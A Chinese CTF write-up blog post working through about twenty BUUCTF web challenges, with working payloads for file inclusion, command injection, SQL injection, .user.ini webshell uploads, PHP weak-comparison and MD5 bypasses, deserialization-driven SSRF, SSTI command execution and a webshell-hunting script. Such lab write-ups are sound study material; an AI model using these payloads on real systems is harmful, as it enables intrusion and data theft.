百道CTF刷题记录(三)之BUUCTF
前言
接上篇,继续刷题。
刷题之旅
[ACTF2020 新生赛]Include
打开题目,可以看到有个tips的跳转链接,点击后跳转到:
/?file=flag.php
结合题目猜测源码为:
<?php
include $_GET['file'];
?>
先用LFI读取index.php
再说。
/?file=php://filter/read=convert.base64-encode/resource=index.php
得到源码:
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
好像没有拦截flag
关键字,直接用LFI读取flag.php即可。
/?file=php://filter/read=convert.base64-encode/resource=flag.php
[极客大挑战 2019]Knife
打开题目,得到提示:
eval($_POST["Syc"]);
直接打开Webshell管理工具,这里我用蚁剑演示。
在根目录下发现flag文件,右键读取即可。
[极客大挑战 2019]Http
打开题目,在HTML源代码处发现:
<a style="border:none;cursor:default;" onclick="return false" href="Secret.php">氛围</a>
访问Secret.php得到:
It doesn't come from 'https://www.Sycsecret.com'
我们使用Burpsuite抓包修改请求头中的Referer字段,重放数据包得到:
Please use "Syclover" browser
再修改User-Agent字段为Syclover
,重放数据包得到:
No!!! you can only read this locally!!!
最后修改X-Forwarded-For字段为127.0.0.1
,重放数据包即可得到Flag。
- Referer记录HTTP请求来源,可起到查看跳转来源、防CSRF等作用
- User-Agent记录请求对应的浏览器信息,方便页面做相应的自适应等工作
- X-Forwarded-For记录请求发送的代理IP信息,可伪造,PHP中通过
$_SERVER['HTTP_X_FORWARD_FOR']
获取,不收GPC魔术引号影响。
[ACTF2020 新生赛]Exec
通过题目名称,简单判断为命令执行题。
老规矩,尝试列目录:
1;ls
返回:
PING 1 (0.0.0.1): 56 data bytes
index.php
尝试读取index.php看看源代码怎样写的:
1;cat index.php
得到:
<?php
if (isset($_POST['target'])) {
system("ping -c 3 ".$_POST['target']);
}
?>
没有黑名单等拦截方法,直接起飞,通常flag都在根目录,我们列出根目录的文件:
1;ls /
得到:
PING 1 (0.0.0.1): 56 data bytes
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
读取flag文件:
1;cat /flag
[SUCTF 2019]CheckIn
打开题目,发现是道上传题。
我们先用Burp抓个上传数据包。正常上传图片发现可以成功上传:
Your dir uploads/adeee0c170ad4ffb110df0cde294aecd <br>Your files : <br>array(4) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(9) "index.php"
[3]=>
string(8) "test.jpg"
}
并返回上传路径与同目录下的文件信息,且上传名不变。
发现上传目录内存在php文件,猜测上传php应该能够解析,尝试php、php3、php3p、php4、php5、phtml、pht
格式均不可上传,被黑名单拦截。
尝试Apache解析漏洞,上传test.php.xxx
,发现解析错误,同样失败告终。
一番查阅后得知,可通过上传.user.ini
文件来给同目录下的index.php
文件添加上一些额外的内容。
auto_prepend_file=xxx.jpg
此时,同目录下的index.php
会相当于自动在头部require xxx.jpg
,起到任意文件包含的作用。
先上传一个伪装成图片的webshell:
再上传.user.ini
文件:
此时/uploads/adeee0c170ad4ffb110df0cde294aecd/index.php
文件已自动包含上我们的test.jpg,成功一个webshell,我们可以直接连接上蚁剑,再读取flag即可。
- 何为GIF89a,图片格式gif必要文件头信息。
- .user.ini,php配置文件之一,可配置一些php参数,可影响同目录或子目录的php文件,无需php重启。
<script language='php'></script>
,php作用域的另一种表示方法,除此之外还有短字符<? ?>
。
[极客大挑战 2019]BabySQL
SQL注入题,此题过滤掉了一些危险关键字,使用双写绕过即可,如or关键字,双写为:oorr
。
查表名:
/check.php?username=1%27unioorn%20selecort%201,2,group_concat(table_name)%20froorm%20infoorrmation_schema.tables%20wheorre%20table_schema=database()%23&password=1
差列名:
/check.php?username=1%27unioorn%20selecort%201,2,group_concat(column_name)%20froorm%20infoorrmation_schema.columns%20wheorre%20table_schema=database()%20anord%20table_name=%27b4bsql%27%23&password=1
读数据:
/check.php?username=1%27unioorn%20selecort%201,2,group_concat(id,username,passwoorrd)%20froorm%20b4bsql%23&password=1
[CISCN2019 华北赛区 Day2 Web1]Hack World
打开题目,发现给了提示:
All You Want Is In Table 'flag' and the column is 'flag'
Now, just give the id of passage
输入正常数据1
:
Hello, glzjin wants a girlfriend.
老规矩,单引号走起1'
,返回:
bool(false)
易知此处应该属于盲注,题目所给出的信息应该是为了节省时间。
此处空格、*
被拦截,使用一下方法绕过:
- %0a等其他不可见字符
- 多层括号嵌套
EXP:
id=if(【判断条件】,1,2)
条件为真即返回:Hello, glzjin wants a girlfriend.
条件为假时返回:Do you want to be my girlfriend?
由于知道flag位置,我们直接判断数据长度然后逐位判断:
id=if(length((select%0aflag%0afrom%0aflag))>【长度】,1,2)
得到长度为42,接着读取数据:
注意Burp选择Cluster bomb
模式,然后到Payloads区设置Payload。
Payload1选择数字模式,从1到42,步长为1。Payload2为a-z、0-9、{
、}
,由于-
被拦截,故不添加。
注意在BUU复现时还需到Options区将线程数设置为1,否则会被BUU的WAF拦截。
最后将结果拼装即可,注意未直接判断出的位是符号-
。
[极客大挑战 2019]Upload
又一道上传题,尝试上传php文件,提示:
NOT!php!
发现可以上传phtml
文件:
修改上传内容为php内容后发现:
NO! HACKER! your file included '<?'
提示禁止<?
,老套路了,修改为<script language='php'></script>
的格式即可。
上传后尝试访问/test.phtml
发现报错,估计上传目录不是根目录,直接盲猜一手upload,成功访问。
/upload/test.phtml?a=system(%27cat%20/flag%27);
[ACTF2020 新生赛]BackupFile
打开题目,页面上给出提示:
Try to find out source file!
写个脚本扫一下源码,附个简单的列表:
/.svn/
/.DS_Store/
/.idea/
/.git/
.index.php.swp
index.php.bak
.flag.php.swp
flag.php
config.php
fl4g.php
f14g.php
f1ag.php
wwwroot.rar
wwwroot.zip
www.rar
www.zip
/.git/HEAD
/.git/index
/.git/config
/.git/description
/README.MD
/README.md
/README
/.gitignore
/.svn
/.svn/wc.db
/.svn/entries
/.hg
/.ds_store
/WEB-INF/web.xml
/WEB-INF/src/
/WEB-INF/classes
/WEB-INF/lib
/WEB-INF/database.propertie
/CVS/Root
/CVS/Entries
/.bzr/
/_viminfo
/.viminfo
/.save
/.save1
/.save2
/.save3
/.bak_Edietplus
/.bak
/.back
/phpinfo.php
/test.php
/.bash_history
扫到源码:index.php.bak,下载下来查看:
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
$key == $str
简单的弱类型比较绕过,/?key=123
访问即可获得flag。
[极客大挑战 2019]BuyFlag
打开题目,在pay.php页面处发现注释:
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
结合页面内容:
If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!
用BurpSuite抓包后,在cookie处发现端倪:user=0
,猜测修改为1之后才能满足:You must be a student from CUIT!!!
。
password处为简单的PHP弱类型比较,要求不能输入数字又与数字404==
比较成立。
右键选择Change request method
改为POST型,添加上money与password参数:money=100000000&password=404a
,发送后返回you are Cuiter</br>Password Right!</br>Nember lenth is too long</br>
。
限制了长度,很明显可以通过科学计数法绕过,将money参数修改成:1e12
即可。
POST /pay.php HTTP/1.1
Host: xxx.node3.buuoj.cn
Cookie: user=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
money=1e12&password=404a
[ACTF2020 新生赛]Upload
简单上传题,上传phtml文件绕过即可。
[网鼎杯 2018]Fakebook
打开题目,在join.php
处发现注入,此处推荐报错注入,但我做的时候使用的布尔盲注。
爆表名,得表名users
:
username=1' and if(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='',exp(4000),1)%23&passwd=1&age=1&blog=http://www.baidu.com
爆列名,得列名no,username,passwd,data
:
username=1' and if(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)='',exp(4000),1)%23&passwd=1&age=1&blog=http://www.baidu.com
发现并无flag字段,猜测考点应该不止SQL注入。
发现存在robots.txt文件,访问得到:
User-agent: *
Disallow: /user.php.bak
访问得到user.php的源码:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
发现此处存在SSRF漏洞。
在view.php?no=1
发现SQL注入,注意此处有正则判断:
view.php?no=-1%20union/**/select%201,2,3,4%20%23
返回错误:
Notice: unserialize(): Error at offset 0 of 1 bytes in /var/www/html/view.php on line 31
猜测SQL数据为序列化之后的数据。
利用报错注入注出数据(concat函数被拦截):
view.php?no=1%20and%20updatexml(1,make_set(3,%27~%27,(select%20group_concat(data)%20from%20users)),1)%23
可以发现data数据为UserInfo类的序列化数据。
简单的反序列得能利用SSRF漏洞的EXP:
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
最后再view.php函数利用上此EXP即可:
/view.php?no=1%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%23
在源代码得到Iframe标签的Base64值,解码得到flag.php的内容:
<?php
$flag = "flag{7d808a80-041e-40f2-b87f-89cfc4f86895}";
exit(0);
[ZJCTF 2019]NiZhuanSiWei
打开题目得到首页源代码:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
稍显要绕过file_get_contents($text,'r')==="welcome to the zjctf"
,由于我们并不知道满足条件的文件,故此处很容易可想到是要考LFI。
此处有两种方法pass:
- 使用data协议
- 使用php://input伪协议
第二处对变量$file进行了正则判断,使得我们无法直接LFI读flag。
通过旁边的注释//useless.php
,我们先使用LFI读取其源码得:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
配合index.php文件的$password很容易知道最后一个考点是反序列化漏洞。
echo $password;
会触发对象的__tostring魔法函数,从而执行代码,读取FLAG。
payload:
1、GET: /?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:%7Bs:4:%22file%22;s:8:%22flag.php%22;%7D
2、POST: /?text=php://input&file=useless.php&password=O:4:%22Flag%22:1:%7Bs:4:%22file%22;s:8:%22flag.php%22;%7D
welcome to the zjctf
[BJDCTF2020]Easy MD5
打开题目发现从首页跳转到了:/leveldo4.php
。
用抓包工具重放发现首页的跳转包无有用数据,而在/leveldo4.php
请求的响应头出得到提示:
Hint: select * from 'admin' where password=md5($pass,true)
这也是常考点了,在php中md5函数格式如下:
string md5( string $str[, bool $raw_output = false] )
-
str
原始字符串。
-
raw_output
如果可选的
raw_output
被设置为TRUE
,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
我们注意到,当raw_output为ture时返回是二进制格式,而md5函数的返回值为string类型,因此这里会隐式的将原始二进制格式数据转成字符串格式,这就造成了单引号逃逸的情况。
如经典的ffifdyop
,经由md5($str, true)
转换后得到:'or'6]!r,b
,可以看到单引号被逃逸了出来,且拼接上了一个永真条件。
将ffifdyop
提交后,页面跳转到新的地址:levels91.php
。
在HTML源代码处得到提示:
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
这里是弱类型比较考点。
简单的说就是"0e"开头的字符串在进行弱类型比较的时候会认为是科学计数法表示的数字。
所以0e545993274517709034328855841020
相当于0*10^545993274517709034328855841020=0
,与0e342768416822451524974117254469
相同,也都是数字0。
所以"0e545993274517709034328855841020" == "0e342768416822451524974117254469"
成立,也即:md5("s155964671a") == md5("s155964671a")
成立。
下面列举几个相关的payload:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
通过后再次跳转至: levell14.php
,打开页面即得到源代码:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
这里使用了===
强比较做判断,0e
科学计数法的方法不再管用。
这里使用的是md5函数无法对数组类型的参数做处理,会返回NULL并产生一个WARNING级别的消息。
利用这个特点,我们POST如下数据即可通过:
param1[]=1¶m2[]=2
[强网杯 2019]高明的黑客
打开题目:
雁过留声,人过留名,此网站已被黑
我也是很佩服你们公司的开发,特地备份了网站源码到www.tar.gz以供大家观赏
把备份源码下载到本地:
发现里边有3002个php文件,随便打开一个发现代码都是乱七八糟的。
各种危险函数assert、eval
等,不过都是被限制得死死的。
看来得需要我们编写脚本来一份一份得跑才行。
下面是我简单编写的多线程脚本:
import requests, threading, queue, os, re, time
FileQueue = queue.Queue()
WebShellQueue = queue.Queue()
evalPattern = "\$\_(GET|POST)\['(\S+)'\]"
path = r"D:\\phpStudy\\PHPTutorial\\WWW\\webshell"
class FileScan(threading.Thread):
def run(self):
while not FileQueue.empty():
file = FileQueue.get()
with open(path + r"\\\\" + file, "r", encoding="utf-8") as readfile:
r = re.compile(evalPattern)
for (method, variable) in r.findall(readfile.read()):
WebShellQueue.put({
"file": file,
"method": method,
"variable": variable
})
class CheckWebShell(threading.Thread):
def run(self):
while True:
if not WebShellQueue.empty():
webShell = WebShellQueue.get()
if webShell['file'][0:2] == 'xk':
if webShell["method"] == "GET":
r = requests.get(url="http://127.0.0.1/webshell/{}?{}=echo \"[*]\"".format(webShell['file'], webShell['variable']))
else:
data = {webShell['variable']: "echo \"[*]\""}
r = requests.post(url="http://127.0.0.1/webshell/" + webShell['file'], data=data)
print("[-]Try: {}, Variable: {}".format(webShell['file'], webShell['variable']))
if "[*]" in r.text:
print("[+]File found: {}, Variable: {}".format(webShell['file'], webShell['variable']))
WebShellQueue.queue.clear()
break
def main():
global FileQueue, WebShellQueue
fileQueueList = []
webShellQueueList = []
for file in os.listdir(path):
FileQueue.put(file)
for i in range(10):
th = FileScan()
fileQueueList.append(th)
th.start()
time.sleep(10)
for j in range(100):
th = CheckWebShell()
webShellQueueList.append(th)
th.start()
for th in fileQueueList:
th.join()
for th in webShellQueueList:
th.join()
if __name__ == '__main__':
main()
[BJDCTF 2nd]fake google
打开题目,随便点了一下。
/qaq?name={{7*7}}
页面返回49,简单就可以知道此题的考点应该就是ssti。
在网上找了一个payload,成功读取flag:
/qaq?name={{a.__init__.__globals__.__builtins__.eval("__import__(%27os%27).popen(%27cat%20/flag%27).read()")}}
后语
今天刚打完了CISCN,关于php的题还是做不来出来,审计与phptrick方面还是不清楚,看来还得多刷题多学习呀。